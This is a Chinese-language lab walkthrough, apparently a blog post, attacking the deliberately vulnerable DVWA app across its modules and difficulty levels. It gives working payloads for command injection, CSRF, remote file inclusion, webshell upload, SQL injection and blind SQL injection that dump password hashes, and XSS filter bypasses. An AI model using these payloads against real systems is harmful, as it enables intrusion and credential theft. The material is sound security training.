搭建
准备:
phpStudy
配置hosts
dvwa.loacl
为靶机
hack.loacl
为攻击机
修改配置
1 | magic_quotes_gpc = Off |
1 | $_DVWA[ ‘db_server’ ] = ‘127.0.0.1’; |
访问
http://ip/dvwa
admin
password
Setup / Reset DB
>> Create / Reset Database
DVWA Security
可设置难度等级: low
、Medium
、High
、Impossible
Brute Force (爆破)
利用密码字典,通过枚举法拆解出用户口令
Low
源码
1 |
|
只使用
isset
函数(php中监测变量是否设置,返回布尔值)验证参数Login是否被设置,没有任何防护机制,对username
、password
未作任何过滤存在明显的SQL注入漏洞。
漏洞利用
密码爆破
浏览器启用代理:
127.0.0.1:8080
Burp Suite Pro :
Proxy
(代理) >>Options
(选项) >>Proxy Listeners
(代理监听器)浏览器访问
Brute Force
输入用户名和密码后,点击Login
按钮Burp Suite Pro 截获了数据包,
Proxy
(代理) >>Intercept
(截断)Forward
(发送) ,Drop
(丢弃) ,Intercept is on
(拦截启用) /Intercept is off
(拦截禁用) ,Action
(操作)
- 将拦截数据发到
Intruder
模块(Action >> Send to Intruder
/Ctrl+I
) >>Positions
>>Attack type
为Sniper
>>Clear $
清除所有符添加到password参数上password=$password$
>>Payloads
载入字典 >>Start attack
进行爆破,枚举尝试完字典中的所有文件后,比较响应长度(Length
) “与众不同”的推测为正确密码,可在Response >> Render
浏览网页验证结果
手工SQL注入
Username:
admin' or '1'='1
Password:(空)
2.
Username:admin' #
Password:(空)
Medium
源码
1 |
|
较Low级增加了
mysqli_real_escape_string
函数,对字符串中的特殊字符(NUL(\x00)
、\n
、\r
、\
、'
、"
和^Z(\x1a)
) 进行转义,基本上能防御SQL注入工具(MySQL5.5.37以下版本设置编码为GBK,能构造编码绕过对单引号的转义);$pass
做了MD5校验,杜绝了参数password进行SQL注入的可能性,但仍然没有有效的防爆破机制,sleep(2)
仅延迟执行2秒。
漏洞利用
SQL注入无效,仍可用Burpsute爆破
High
源码
1 |
|
加入Token,可防御CSRF攻击,同时也增加了爆破的难度,登录验证需要四个参数:
username
、password
、Login
、user_token
。每次服务器返回的登录页都包含一个随机值
user_token
,用户每次登录时都需一起提交user_token
,服务器收到请求后会先做token的检查,再进行SQL查询。同时使用了
stripslashes
(去除字符串中反斜线字符,若有两个则去除一个)、mysqli_real_escape_string
对参数username
、password
进行过滤、转义,进一步防御SQL注入。
漏洞利用
Intruder
Payloads
>>Attack type
使用Pitchfork
Options
>>Request Engine
>>Number of threads
为1
>>Grep-Extract
>>Add
>>Refetch response
>> 在下方找到user_token
的值,选中并复制,选中后上方会自动填写相应的值 >>OK
Payloads
Payload Sets
>>Payload set
为2
>>Payload type
为Recursive grep
>>Payload Options [Recursive grep]
>>Initial payload for first request
为刚才复制的token值
Payload Sets
>>Payload set
为1
>>Payload type
为Simple list
>>Payload Options [Simple list]
加载字典 >>Start attack
>>Length
与众不同
Impossible
源码
1 |
|
加入了可靠的防爆破机制,监测到频繁的错误登录后,系统将锁定帐号,同时采用更为安全的PDO(PHP Data Object,不能PDO扩展本身执行任何数据库操作,而SQL注入的关键是通过破坏SQL语句结构执行恶意SQL命令) 机制防御SQL注入。
Command Injection (命令注入)
Low
源码
1 |
|
stristr(string,search,before_search)
函数搜索字符串在另一字符串中第一次出现,返回字符串的剩余部分,未找到返回false
;string
参数为被搜索字符串,search
参数为要搜索的字符串(若该参数为数字,用对应的ASCII值的字符),before_search
参数为布尔型,默认为 false
,设置为 true
函数将返回 search
参数第一次出现之前的字符串部分。
php_uname(mode)
函数返回运行php的操作系统的相关描述,mode
参数可取值: a
(默认,包含所有模式),s
(返回操作系统名称),n
(返回主机名),r
(返回版本名称),v
(返回版本信息),m
(返回机器类型)。
服务器通过判断操作系统执行不同的ping命令,但对IP参数并未做任何过滤,导致严重命令注入漏洞。
漏洞利用
Windows 和 Linux 系统都可用 &&
执行多条命令
127.0.0.1 && net user
127.0.0.1 && cat /etc/shadow
Medium
源码
1 |
|
服务端对IP参数做了一定过滤,把 &&
、 ;
过滤了,本质上采用的是黑名单机制,因此依旧存在安全问题。
漏洞利用
- 只过滤了
&&
与;
所有&
不会受影响
&&
与 &
的区别:
CommandA && CommandB
先执行 CommandA
成功后执行 CommandB
否则不执行 CommandB
CommandA & CommandB
不管 CommandA
是否成功 CommandB
都执行
- 由于使用
str_replace
把&&
、;
替换成了空字符,因此可用&;&
绕过
High
源码
1 |
|
进一步完善了黑名单,但黑名单有局限性,仍然可绕过
漏洞利用
过滤列表中 |
(后有一个空格),|
成了漏网之鱼,在命令|
与命令间不只用空格即可绕过。
CommandA |CommandB
|
为管道符,将 CommandA
输出作为 CommandB
的输入,且只打印 CommandB
的结果。
Impossible
源码
1 |
|
stripshes(string)
函数会删除字符串 string
中的反斜杠,返回已剔除反斜杠的字符串
explode(separator,string,[limit])
函数把字符串打散为数组,返回字符串的数组,separator
参数规定在哪分割字符串,string
参数是要分割的字符,可选参数 limit
规定返回的数组元素的数目。
is_numeric(string)
函数监测 string
是否为数字或数字字符串,是返回 true
,否 返回 false
。
加入了 Anti-CSRF token
同时对参数 ip
进行了严格限制,只有 数字.数字.数字.数字
的输入才会被接收执行。
CSRF(Cross Site Request Forgery,跨站请求伪造)
Low
1 |
|
服务器通过cookie验证身份,收到的修改密码请求后,会检查参数 password_new
与 password_conf
是否相同,相同则修改密码,并没有防范CSRF机制
漏洞利用
构造链接 http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#
。
受害者点击链接后,他的密码就会被修改成 hack
,通过链接可直观的就看到内容 。
由于服务器需要使用到Cookie验证身份,而Cookie受浏览器影响,若攻击者与受害者使用不同种的浏览器就无法达成攻击效果 。
可用以下方式伪装
- 可制作短链接来隐藏URL
- 构造攻击页面
1 | <img src="http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/> |
Medium
源码
1 |
|
stripos(string pattern,string string)
检查 string
在 pattern
中出现的位置(不区分大小写),如果有返回 true
,没有返回 false
。
检查保留变量 HTTP_REFERER
(http
包头的 Referer
参数的值,表源地址) 中是否包含 SERVER_NAME
(http
包头的 Host
参数,及要访问的主机名) ,只检查了是否含有需要访问主机的主机名,只要 referer
中出现 Host
就可以正常操作 。
漏洞利用
Host dvwa.loacl
Referer http://hack.loacl/dvwa.loacl.html
构造 dvwa.loacl.html
的 CSRF
网页文件,放到 hack.loacl
上通过访问该文件即可 。
1 | <img src="http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/> |
构造的 dvwa.loacl.html
容易被发现,可使用 URL
转码,将 dvwa.loacl.html
转义为 %64%76%77%61%2e%6c%6f%63%61%6c%2e%68%74%6d%6c
。
构造链接 http://hack.loacl/%64%76%77%61%2e%6c%6f%63%61%6c%2e%68%74%6d%6c
High
源码
1 |
|
加入 Anti-CSRF token
机制,用户每次访问该页,服务器会返回一个随机 token ,向服务器发起请求时需提交 token 参数,服务器收到请求后先检查 token 只有 token 正确才处理请求
漏洞利用
攻击页需要获取修改密码页的 token
这属于跨域请求,浏览器已经禁止,只能另寻它法 。
- 将攻击页上传到该服务器目录下,属同域,都能上传到该服务器目录下了何不直接拿权限呢
- 利用 XSS 获取 token
利用 XSS 需要该网站存在 XSS
1 | alert(document.cookie); |
xss.js
放置在攻击者 hack.local
上,配合同dvwa.local
存在的DOM XSS
实现跨域请求来获取用户 token 受害者访问: http://dvwa.local/vulnerabilities/xss_d/?default=English #
诱导点击后修改密码为 hack
。
Impossible
源码
1 |
|
利用 PDO 技术防范 SQL 注入,要求用户输入原始密码防范 CSRF 攻击者在不知道原始密码情况下无法进行 CSRF 攻击 。
File Inclusion (文件包含)
Low
源码
1 |
|
服务端对 page
参数没有任何过滤检查 。
服务器包含文件时,不管文件后缀名是否是 php ,都将当作 php 文件执行,若内容确为 php 正常执行并返回结果,若不是,则原封不动将内容打印,所以文件包含漏洞常常会导致任意文件读取与任意文件执行。
漏洞利用
- 本地文件包含
构造url : http://dvwa.local/dvwa/vulnerabilities/fi/?page=/etc/shadow
。
报错显示没有这个文件,说明服务器系统不是 Linux ,但同时暴露了服务器文件的绝对路径 C:\Install\phpstudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php
。
构造绝对路径url: http://dvwa.local/vulnerabilities/fi/?page=C:\Install\phpstudy\PHPTutorial\WWW\DVWA\php.ini
。
构造相对路径url: http://dvwa.local/vulnerabilities/fi/?page=C:\Install\phpstudy\PHPTutorial\WWW\DVWA\php.ini
读取到该文件的内容。
- 远程文件包含
服务器配置中,选项 alLow_url_fopen
与 alLow_url_include
为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查,就容易导致任意远程代码执行。
在远程服务器 hack.local
上传 phpinfo.txt
。
1 |
|
构造url http://dvwa.local/dvwa/vulnerabilities/fi/page=http://hack.local/phpinfo.txt
。
http://hack.local/phpinfo.txt
>> %68%74%74%70%3a%2f%2f%68%61%63%6b%2e%6c%6f%63%61%6c%2f%70%68%70%69%6e%66%6f%2e%74%78%74
>> http://dvwa.local/dvwa/vulnerabilities/fi/page=%68%74%74%70%3a%2f%2f%68%61%63%6b%2e%6c%6f%63%61%6c%2f%70%68%70%69%6e%66%6f%2e%74%78%74
Medium
源码
1 |
|
增加了 str_replace
函数对 page
参数进行处理,将 http://
、https://
、../
、..\
替换成空字符(删除)。
漏洞利用
hthttp://tp://
, ..././
等经过过滤后成为: http://
, ../
High
源码
1 |
|
使用了 fnmatch
函数检查 page
参数,要求 page
参数的开头必须是 file ,服务器才会去包含相应的文件。依然可以利用 file 协议绕过防护策略,需要结果文件上传,将文件上传到服务器,并能获取到完整的路径,即可利用文件包含漏洞执行上传的文件。
Impossible
源码
1 |
|
简单粗暴,page
参数必须为 include.php
、file1.php
、file2.php
、file3.php
之一,彻底杜绝了文件包含漏洞。
File Upload (文件上传)
Low
源码
1 |
|
basename(path,suffix)
函数返回路径中的文件名部分,如果可选参数 suffix
为空,则返回的文件名含后缀名,反之不包含后缀名。
服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
漏洞利用
上传漏洞利用的条件是,成功上传木马文件,上传的文件必须能被执行,上传的路径必须可知。
构造木马文件 hack.php
1 |
|
上传成功返回路径 ../../hackable/uploads/hack.php
。
使用浏览器访问 http://dvwa.local/vulnerabilities/upload/../../hackable/uploads/hack.php
没有报错显示为空白。
使用菜刀连接 http://dvwa.local/vulnerabilities/upload/../../hackable/uploads/hack.php
参数名 : hacker
。
Medium
源码
1 |
|
限制文件类型必须是 jpeg
或 png
大小不能超过 100000B
(约97.6KB
)。
漏洞利用
- 文件包含与文件上传组合
直接将 hack.php
命名为 hack.jpg
文件,将其上传后,利用文件包含漏洞可解析执行 jpg
文件内的指令,使用菜刀连接(脚本类型选PHP)。
- Burp Suite Pro 改包
无文件包含漏洞,将 hack.php
>> hack.jpg
>> 上传 >> Burp Suite Pro 抓包 >> hack.jpg
改为 hack.php
>> Forward
>> 获得返回地址 >> 菜刀获取webshell。
- 截断绕过
服务器的 php 版本小于 5.3.4
, Magic_quote_gpc
为 off
时文件名可使用 %00
截断,将文件命名为 hack.php%00.png
上传,由于被 %00
截断,服务器保存的文件为 hack.php
获取返回地址菜刀获取webshell。
High
源码
1 |
|
strrpos(string,find,start)
函数返回字符串 find
在另一字符串 string
中最后一次出现的位置,若没找到支付串则返回 false
可选参数 start
规定搜索开始点。
getimagesize(string filename)
函数通过读取文件头,返回图片的长、宽等信息,如果没有相关图片文件头,函数报错。
通过限制文件名 .
后面的字符串,限制了文件的类型,文件必须是 .jpg
、.jpeg
、.png
之一,同时使用 getimagessize
函数限制了文件头必须为图像类型。
漏洞利用
使用 copy
命令将 hack.php
与图片文件 image.jpg
合并。
1 | copy image.jpg/b+hack.php/a shell.jpg |
用记事本打开生成的文件 shell.jpg
可看到末尾加入了 hack.php
内的内容。
也可用记事本打开 image.jpg
直接复制 hack.php
文件内容到 image.jpg
的末尾。
将生成的文件直接上传即可。
Impossible
源码
1 |
|
imagecreatefromjpeg(filename)
函数返回图片文件的图像标识,失败返回false。
imagejpeg(image,filename,quality)
从 image
图像以 filename
为文件名创建一个 JPEG 图像,可选参数 quality
范围从 0
(最差质量,文件更小)到 100
(质量最佳,文件最大)。
imagedestroy(img)
函数销毁图像资源。
该等级对上传的文件进行了重命名(为md5值),加入 Anti-CSRF token
防护 CSRF 攻击,同时对文件的内容进行了严格的检查。
文件上传与文件包含: 文件包含是指调用文件,可调用本地的文件,也可调用远程的文件;文件上传是指上传一个文件,如果上传木马,上传后往往需要调用执行,因此,文件上传与文件包含经常会打组合拳。
Insecure CAPTCHA (不安全的验证码/不安全的验证过程)
reCAPTCHA 验证流程 : 模块验证码由 Google 提供 reCAPTCHA 服务;用户向 Google 发送请求验证码模块的js >> Google 返回验证码 >> 用户发送输入的验证码到网站服务器 >> 网站服务器向 Google 验证用户输入的正确性 >> Google 返回验证结果。
服务器通过调用 recaptcha_check_answer
函数检查用户输入的正确性。
由于是绕过验证码,无需科学上网环境。
Low
源码
1 |
|
给密码分两步:
- 检查用户输入的验证码,验证通过后,服务器返回表单
- 客户端提交
post
请求,服务器完成更改密码操作。
其中存在明显逻辑漏洞,服务器仅通过检查 Change
、step
来判断用户是否已经输入了正确的验证码。
漏洞利用
ps: 由于没有科学上网,发送的请求包中没有 reCAPTCHA 的相关参数。
Burp Suite Pro 抓包 >> 修改
step=1
为step=2
>>Forward
没有防 CSRF 机制,可构造攻击页面,受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器,但当密码修改成功后,服务器会返回 302 实现自动跳转更改密码成功界面,使受害者意识到自己被攻击了。
1 | <html> |
Medium
源码
1 |
|
增加了对参数 passed_captcha
的检验,如果参数值为 true
则认为用户通过了验证码检查,然而依然可通过伪造参数绕过验证,本质上与 Low 级没区别。
漏洞利用
Burp Suite Pro 抓包 >> 修改
step
值为2
,在末尾添加参数&passed_captcha=true
>>Forward
CSRF 攻击页
1 | <html> |
High
源码
1 |
|
服务器验证逻辑是当 Google 返回的验证结果 $resp
是 true
且参数 g-recaptcha-response
等于 hidd3n_valu3
(或 http
包头的 User-Agent
参数等于 reCAPTCHA
) 时,认为验证码输入正确,反之这未通过验证码的检查。
增加了 Anti-CSRF token
机制防御 CSRF 攻击
漏洞利用
清楚验证逻辑,就可针对伪造绕过了,由于 $resp
参数人为无法控制,重心只能放在参数g-recaptcha-response
和 User-Agent
上。
Burp Suite Pro 抓包 >> 添加 &g-recaptcha-response=hidd3n_valu3
以及修改 User-Agent
值为 reCAPTCHA
>> Forward
Impossible
源码
1 |
|
增加了 Anti-CSRF token
机制防御 CSRF 攻击,利用 PDO 技术防范 SQL 注入,验证不再分成两个部分,验证码无法绕过,同时要求用户输入之前的密码,进一步加强身份认证。
SQL Injection (SQL 注入)
SQL 注入指攻击者通过在原有的 SQL 语句中注入恶意的 SQL 命令,破坏原有语句的结构,通过执行这些恶意语句欺骗数据库执行,导致数据库信息泄漏,其危害是巨大的,常常会导致整个数据库被 “脱库”。
手工注入 :使用注入神器固然好用,但还要掌握手工注入的思路。
- 判断是否存在注入,注入是字符型还是数字型
- 拆解 SQL 查询语句中的字段数
- 确定显示的字段顺序
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 下载数据
Low
源码
1 |
|
Low 级对来自客户端的参数 id 没有进行任何的检查与过滤,存在明显的 SQL 注入。
漏洞利用
现实攻击场景中,攻击者是无法看到后端代码的,一些的手工注入步骤建立在无法看到源码的基础上。
判断是否存在注入,注入是字符型还是数字型
输入 1
,查询成功 >> 输入 1'and 1 = 2 --
查询失败,返回结果为空, 输入 1' and 1=1 --
查询成功 >> 输入 1' or '1234' ='1234
,查询成功,且返回多个结果 >> 说明存在字符型注入。
拆解 SQL 查询语句中的字段数
1' or 1=1 order by 1 #
查询成功1' or 1=1 order by 2 #
查询成功1' or 1=1 order by 3 #
查询失败
说明执行的 SQL 查询语句中只有两个字段,即 First name
、Surname
也可使用 union seclct 1,2,3...
猜解字段数
确定显示的字段顺序
1' union select 1,2 #
查询成功
猜测执行的 SQL 语句为 select First name,Surname from <表> where ID='$id'
而真正的语句为 SELECT first_name, last_name FROM users WHERE user_id = '$id';
获取当前数据库
1' union select 1,database() #
查询成功,获得数据库名为 dvwa
获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
成功查到 dvwa
中共有两个表, guestbook
与 users
。
group_concat()
函数将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
information_schema
这个数据库中保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库表,表栏的数据类型与访问权限等。
获取表中的字段名
1' union select 1,group_concat(column_name)from information_schema.columns where table_name='users' #
成功查询到 users
表中有 8 个字段,user_id,first_name,last_name,user,password,avatar,last_login,failed_login
下载数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password)from users #
成功将 users
表中所有用户的 user_id,first_name,last_name,password
数据
使用 sqlmap 攻击
使用 Burp Strip Pro 抓包,将抓到的包保存为文本 hack.txt
1 | GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1 |
使用 sqlmap 命令进行攻击
1 | sqlmap -r hack.txt --dbs --batch # 获取数据库列表 |
Medium
源码
1 |
|
利用
mysql_escape_string
函数对特殊字符\x00,\n,\r,\,',",\x1a
进行转义,同时前端设置了下拉选择表单,希望控制用户输入。
漏洞利用
判断是否存在注入,注入是字符型还是数字型
通过 Burp Suite Pro 抓包 >> 修改 id 为 1' or 1=1 #
报错 >> 修改 id 为 1 or 1=1 #
查询成功,说明存在数字型注入 (数字型注入,服务段的 mysqli_real_escape_string
函数就形同虚设了,因为数字注入不需要借助引号)
拆解 SQL 查询语句中的字段数
抓包 >> 修改 id 为 1 order by 2 #
查询成功 >> 修改 id 为 1 order by 3 #
报错 >> 判断查询语句中只有两个字段,即返回的 First name
、Surname
确定显示的字段顺序
抓包 >> 修改 id 为 1 union select 1,2 #
查询成功 >> 判断执行的 SQL 语句为 select First name,Surname from <表> where ID=$id
(正确的 SELECT first_name, last_name FROM users WHERE user_id = $id;
)
获取当前数据库
抓包 >> 修改 id 为 1 union select 1,database() #
,查询成功,获得库名 dvwa
。
获取数据库中的表
抓包 >> 修改 id 为 1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #
查询成功,获得数据库 dvwa
中的两个表名 guestbook
、users
获取表中的字段名
抓包 >> 修改 id 为 1 union select 1,group_concat(column_name)from information_schema.columns where table_name='users' #
查询失败,因为单引号被转义了 >> 利用16进制进行绕过将 'users'
换成 0x7573657273
即可查询成功,获得 users
表中有8个字段。
下载数据
抓包 >> 修改 id 为 1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password)from users #
同 low 级可使用 sqlmap 进行攻击
High
源码
1 |
|
在 SQL 查询语句中添加了 LIMIT 1 希望控制只输出一个结果。同时设置了将查询提交也与结果显示页分离,不执行302跳转,防止了一般的sqlmap注入(sqlmap 注入过程中,无法在查询页上获得查询结果,也就无法进行下一步了)。
漏洞利用
虽然添加了 LIMIT 1 但可以通过 #
等注释符将其注释掉
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
Impossible
源码
1 |
|
采用 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时才会成功输出,这样有效的防御了脱库,
Anti-CSRF token
机制的加入进一步提高了安全性。
SQL Injection(Blind) (SQL 盲注)
SQL 盲注不像一般的注入可直接从页面上看到输入语句的执行结果,盲注时无法从显示页面上获取执行结果,甚至连注入语句是否被执行都无法得知,因此盲注的难度比一般注入高。现存的SQL注入漏洞大多是盲注。
手工盲注思路
手工盲注过程完全只能通过返回的 “是” 和 “不是” 两个信息来判断,因此只能构造如 数据库名的第一字母是不是a?
等类似的只有 “是” 和 “不是” 答案的语句获得想要的信息,这类盲注称为 布尔盲注 。
而通过构造 数据库名的第一字母是a就等等
等通过时间函数延迟情况判断获得信息,这类盲注称为时间盲注。
盲注步骤:
- 判断是否存在注入,注入是字符型还是数字型
- 猜解当前数据库名
- 猜解数据库中的表名
- 猜解表中的字段名
- 猜解数据
Low
源码
1 |
|
对 id 没有任何检查、过滤,返回给页面的结果也只有两种
User ID exists in the database.
与User ID is MISSING from the database.
存在盲注漏洞
漏洞利用
布尔盲注
- 判断是否存在注入,注入是字符型还是数字型
1
显示存在 >> 1' and 1=1 #
显示存在 >> 1' and 1=2
显示不存在 >> 存在字符型盲注
- 猜解当前数据库名
先猜解数据库名的长度,再猜解每一个字符
1 | 1' and length(database())=1 # 显示不存在 |
采用二分法猜解数据库名
1 | 1' and ascii(substr(database(),1,1))>97 # 显示存在,说明数据库名第一个字母的ascii值大于97 |
依次猜解出其它数据库名的字母
- 猜解数据库中的表名
先猜解数据库表的数量
1 | 1' and (select count(table_name)from information_schema.tables where table_schema=database())=1 # 显示不存在 |
猜解表名
1 | 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在 |
说明第一个表的第一个字母为g
,同样步骤猜测出两个表名 goustbook , users
。
- 猜解表中的字段名
猜解表中的字段数
1 | 1' and (select count(column_name)from information_schema.columns where table_name='users')=1 # 显示不存在 |
猜解字段名
1 | 1' and length(substr((select column_name from information_schema.columns where table_name='users' linit 0,1),1))=1 # 显示不存在 |
- 猜解数据
采用二分法依次猜解
时间盲注
- 判断是否存在注入,注入是字符型还是数字型
1 | 1' and sleep(5) # 有明显延迟 |
说明存在字符型时间盲注
- 猜解当前数据库名
猜解数据库名长度
1 | 1' and if(length(database())=1,sleep(5),1) # 没有延迟 |
二分法猜解数据库名
1 | 1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) # 明显延迟 |
说明数据库名的第一个字符为 d
,同样步骤依次猜解其他字母。
- 猜解数据库中的表名
1 | 1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1) # 没有延迟 |
说明有两个表,接着猜解表名
1 | 1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟 |
说明第一个表名长度为9个字符,采用二分法猜解表名
- 猜解表中的字段名
猜解表中字段的数量
1 | 1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=1,sleep(5),1) # 没有延迟 |
说明users表中有8个字段,接着猜解字段名
1 | 1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1,sleep(5),1) # 没有延迟 |
说明 users 表的第一个字段长度为7字符,采用二分法即可猜解出各字段名
- 猜解数据
同样使用二分法
Medium
源码
1 |
|
加入
mysqli_real_escape_string
函数对特殊字符\x00,\n,\r,',",\x1a
进行转义,同时前端使用下拉表单控制用户的输入。
漏洞利用
前端虽然控制了输入,但可利用抓包的方式来进行修改,一样能达到效果,流程同 Low 级别。
High
源码
1 |
|
利用cookie传递参数id,查询结果为空时,会执行函数
sleep(seconds)
目的是为了扰乱时间盲注,同时在 SQL 查询语句中加入limit 1
控制只输出;一个结果。
漏洞利用
虽然加入 limit 1
但仍可通过 #
将其注释掉,由于服务器端执行 sleep
函数会使时间注入的准确性受影响,可利用布尔注入达到目的。利用抓包改包的方式进行
Impossible
源码
1 |
|
采用 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,加入
Anti-CSRF token
机制提供了安全性
Weak Session IDs (弱会话ID)
SessionID 会话ID,通常用于标识已登录的用户,证明用户在会话中的身份。
Cookie 用于标识客户端的用户身份,通常是勾选下次自动登录
后保存在用户端的身份证明凭证,在 Cookie 过期前,用户不必输入用户名和密码就能登录。
说白了就是 Cookie
盗用,一般都是和 XSS 一起使用。
Low
1 |
|
每次生成的
session_id
加1发给客户端
漏洞利用
Generate
>> Burp Suite Pro 抓包 >> Cookie: PHPSESSID=tjbmcu13aaho7ab653vqpeibn3; security=low
>> Action
>> Send to Response
>> Response
>> Go
>> Request
请求一次 Response
中 Set-Cookie: dvwaSession
的值就 加1
Burp Suite Pro 将刚才拦截的数据包放行 >> Generate
>> 再次抓包 >> Cookie: dvwaSession=4; PHPSESSID=tjbmcu13aaho7ab653vqpeibn3; security=low
前面请求了几次这里的 dvwaSession
就变成了多少。 >> 且每次请求只改变 dvwaSession
其他值不发生改变 >> 复制 Cookie
值 Cookie: dvwaSession=4; PHPSESSID=tjbmcu13aaho7ab653vqpeibn3; security=low
>> 换火狐浏览器(本身就是火狐则 Cookie
等数据,谷歌浏览器可能不成功) >> 输入网址 http://dvwa.local/vulnerabilities/weak_id/
使用插件 hackbar
修改 Cookie
值然后访问,没输入用户名密码就直接进来了,甚至不用 dvwaSession
也能访问。
Medium
源码
1 |
|
使用当前时间的时间戳作为
SessionID
漏洞利用
和自增1没区别,说白了就是从 Unix 纪元 (January 1 1970 00:00:00 GMT) 到现在的秒数,就是一秒一秒的自增,可利用时间戳查询工具伪造。Unix时间戳工具
High
源码
1 |
|
使用
setcookie(name,value,expire,path,domain,secure,httponly)
函数定义 Cookie ,name
必要,cookie 名称,value
必要,cookie 值,expire
cookie 有效期,path
cookie 服务器路径,domain
cookie 域名,secure
是否通过 HTTPS 连接传输 cookie ,httponly
cookie 是否仅通过 HTTP 协议访问
使用 MD5 值将生成的session_id
进行加密,使无法直接推测出SessionID
漏洞利用
使用 Burp Suite Pro 的 Response
进行重复请求,通过返回的 Set-Cookie
都是无规则的字符串,推测是 MD5 加密的值,使用 MD5 解密得到了数字,说白了就是将 Low 级别基础上添加了一个 MD5 加密,使用 MD5 工具就能伪造。
Impossible
源码
1 |
|
随机数 + 随机数 + 固定字符串
Impossible
再进行 sha1 运算
XSS(DOM) (DOM Based Cross Site Scripting ,DOM型跨站脚本攻击)
DOM 是与平台、编程语言无关的接口,它允许程序或脚本动态访问和更新文档内容、结构和样式,处理结果能成为页面显示的一部分。DOM 中有很多对象,其中一些是用户可以操作的(如 URI , location , refelTer
d等)。客户端脚本程序可通过 DOM 动态检查修改页面内容,不依赖于提交数据到服务端,而从客户端获得 DOM 中的数据在本地执行,如果 DOM 中的数据没有经过严格检查,就会产生 DOM-based XSS漏洞。
可能触发 DOM 型 XSS 的属性:
document.referer
window.name
location
innerHTML
document.write
document
表一个文档对象, window
表一个窗口对象,一个窗口下可有多个文档对象。所有一个窗口下只有一个 window.location.href
,却可能有多个 document.URL
、document.location.href
document.URL
取值等价于 window.location.href
或 document.location.href
,某些浏览器中可通过对 document.URL
赋值实现页面跳转,但某些浏览器不行。
该实验尽量选择使用火狐浏览器进行,火狐没有 XSS 过滤
indexOf(searchvalue,fromindex)
方法可返回指定字符串值在字符串首次出现的位置。searchvalue
必需,需检索的字符串值;fromindex
可选整数参数,规定字符串开始检索的位置,取值为0~stringObject.length-1
若省略该参数,将从首字符开始检索。indexOf()
对大小写敏感,若未检索到字符串值,返回为-1
。substring(start,stop)
方法用于提取字符串中介于两个指定下标间的字符。start
必需,一个非负整数,规定提取字符的第一个字符在stringObject
中的位置;stop
可选,一个非负整数,需要提取字符串最后一个字符的后一位,若省略该参数,将提取到结尾。document.write
是JavaScript
中对document.open
所开启的文档流document.stream
操作的 API 方法,它能直接在文档流中写入字符串,一旦文档流已经关闭,那document.write
就会重新利用document.open
打开新的文档流并写入,此时原来的文档流就会被清空,已渲染好的页面就会被清除,浏览器将重新构建 DOM 并渲染新页面。
Low
Low
1 |
|
漏洞利用
English
,Select
>> URL 发现 default
参数值为 English
>> 构造URL http://dvwa.local/vulnerabilities/xss_d/?default=<script>alert('DOM XSS')</script>
>> 访问后 js 代码 alert
被执行,弹框显示了构造的内容。 >> F12 可查看到脚本内容
Medium
漏洞利用
1 |
|
array_key_exists(key,array)
检查某数组中是否存在指定的键,若键存在返回true
不存在返回false
。key
必需,指定键名;array
必需,指定数组。stripos(string,find,start)
查找字符串在另一字符串中第一次出现的位置,返回字符串第一次出现的位置,若未找到字符串则返回false
。string
必需,指定被搜索的字符串;find
必需,指定要查找的字符串;start
可选,指定开始搜索的位置。header(string,replace,http_response_code)
向客户端发送原始 HTTP 报头。string
必需,指定要发送的报头字符串;replace
可选,指定该报头是否替换之前的报头,或添加第二个报头,默认替换(true) ,也可允许相同类型的多个报头(false);http_response_code
可选,把 HTTP 响应代码强制为指定值(PHP 4 及更高版本)。
对 default
变量进行过滤,通过 stripos()
查找<script
字符串在default
变量值中第一次出现的位置(不区分大小写),如果匹配就通过 location
将 URL 参数修正为 ?default=English
漏洞利用
过滤了 script
可使用其他标签达到效果。
- 使用
</option>
和</select>
闭合后使用img
标签弹框。
1 | ?default=English</option></select><img src=x onerror=alert('XSS')> |
- 直接利用
input
弹框
1 | ?default=English<input onclick=alert('XSS') /> |
High
源码
1 |
|
使用了白名单模式,如果 default
的值不是白名单内的值就重置 URL 为 ?default=English
漏洞利用
只对 default
变量进行了过滤
- 可使用
&
连接另一个自定义变量绕过
1 | ?default=English&a=</option></select><img src=x onerror=alert('XSS')> |
- 使用
#
绕过
1 | ?default=English#</option></select><img src=x onerror=alert('XSS')> |
Impossible
源码
后端源码
1 |
|
前端工作源码
1 | # For the impossible level, don't decode the querystring |
直接不对输入参数进行 URL 解码了,这样会导致标签实效,从而无法 XSS
XSS (Reflected) (Reflected Cross Site Scripting,反射型 XSS)
Low
源码
1 |
|
变量
name
为做任何过滤,只是检查是否为空。
漏洞利用
1 | <script>alert('XSS')</script> |
Medium
源码
1 |
|
简单的过滤了
<script>
标签,由于通过正则匹配将检测到的敏感字符替换为空(删除)可使用嵌套和大小写转换绕过,也可使用其他标签绕过。
漏洞利用
1 | <s<script>cript>alert('XSS')</script> |
High
源码
1 |
|
